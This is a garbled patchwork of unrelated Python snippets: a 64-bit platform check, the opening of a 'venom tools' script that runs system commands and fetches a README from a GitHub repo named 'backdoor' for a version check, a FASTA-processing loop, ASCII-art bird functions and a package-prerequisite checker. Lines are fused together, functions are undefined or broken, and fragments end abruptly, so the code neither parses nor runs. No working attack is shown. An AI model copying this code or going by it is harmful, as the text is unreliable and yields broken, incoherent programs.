list1 = [str2, i]
mainconn = [str2, i]
return mainconn
def Python():
if sys.platform == 'cli': #IronPython
import System
return System.IntPtr.Size == 8
else:
try:
return sys.maxsize > 2147483647
except AttributeError:
return sys.maxint > 2147483647
def os():
import platform
pm = platform.machine()
if pm != '..' and pm.endswith('64'): # recent Python (not Iron)
return True
else:
import os
if 'PROCESSOR_ARCHITEW6432' in os.environ:
return True # 32 bit program running on 64 bit Windows
try:
return os.environ['PROCESSOR_ARCHITECTURE'].endswith('64') # 64 bit Windows 64 bit program
except IndexError:
pass # not Windows
try:
return '64' in platform.architecture()[0] # this often works in Linux
except:
return False # is an older version of Python, assume also an older os (best we can guess)
if __name__ == "__main__":
print(("is64bit.Python() =", Python(), "is64bit.os() =", os()))
#!/usr/bin/python import os print os() #.platform()
import os, time, getpass, socket, requests, sys, random
# Colours :
Y = '\033[93m' # Yellow
C = '\033[1;36m' # Cyan
G = '\x1b[32m' # Green
R = '\033[31;1m' # Red
W = '\x1b[1;97m' # White
g = '\033[90m' # Grey
r = "\033[0m" # Reset
# Setting :
getpass = getpass.getpass
os = os.system
sleep = time.sleep
os('dpkg --configure -a')
os('clear')
try:
versi = '1.2'
requp = requests.get(
'https://raw.githubusercontent.com/zettamus/backdoor/master/README.md'
).text
if versi in str(requp):
up = '[99] Update '
update = g + '[' + C + '*' + g + '] Updating venom tools...'
ver = '[!] New version is available. Update now'
except:
pass
def tik(s):
def stop(self, command):
os('button.py %n'.format(command))
import os
for i in range(2, 3):
filename = "fastas//" + str(i)
command = "ASAquick " + filename
os(command)
import sys import zmq import json import os import hashlib import re, uuid import random from os import listdir ejecucion = "./o.o datos.csv" + dim + k os(ejecucion)
print(name + ' has been created\n')
# bird trying to fly
def almost():
return (
" .---. .-----------\n / \\ __ / ------\n / / \\( )/ -----\n ////// \' \\/ ` ---\n //// / // : : ---\n // / / ` \'--\n// //..\\\\\n ====UU====UU====\n \'//||\\\\`\n \'\'``\n"
)
# bird flying
def fly():
return (
" .ze$$e.\n .ed$$$eee.. .$$$$$$$P\"\"\"\n z$$$$$$$$$$$$$$$$$ee$$$$$$\"\n .d$$$$$$$$$$$$$$$$$$$$$$$$$\"\n .$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$e..\n .$$****\"\"\"\"***$$$$$$$$$$$$$$$$$$$$$$$$$$$be.\n \"\"**$$$$$$$$$$$$$$$$$$$$$$$L\n z$$$$$$$$$$$$$$$$$$$$$$$$$\n .$$$$$$$$P**$$$$$$$$$$$$$$$$\n d$$$$$$$\" 4$$$$$\n z$$$$$$$$$ $$$P\"\n d$$$$$$$$$F $P\"\n $$$$$$$$$$F\n *$$$$$$$$\"\n \"***\"\"\n"
)
sudo()
print(bird())
print(intro())
os()
print(eggs())
instpkgs = installed(prereqs)
availpkgs = avail(prereqs)
notin = missing(prereqs, availpkgs, instpkgs)
echo(notin, instpkgs, availpkgs, wc_dic)
# result(len(missing(prereqs, av, ins)))
print(nest())
print("\n" + ending(len(notin), nester()) + "\n\n")
report(replist)
def on_sigint():
os('pkill vlc')
delete_video(current_video)
exit()
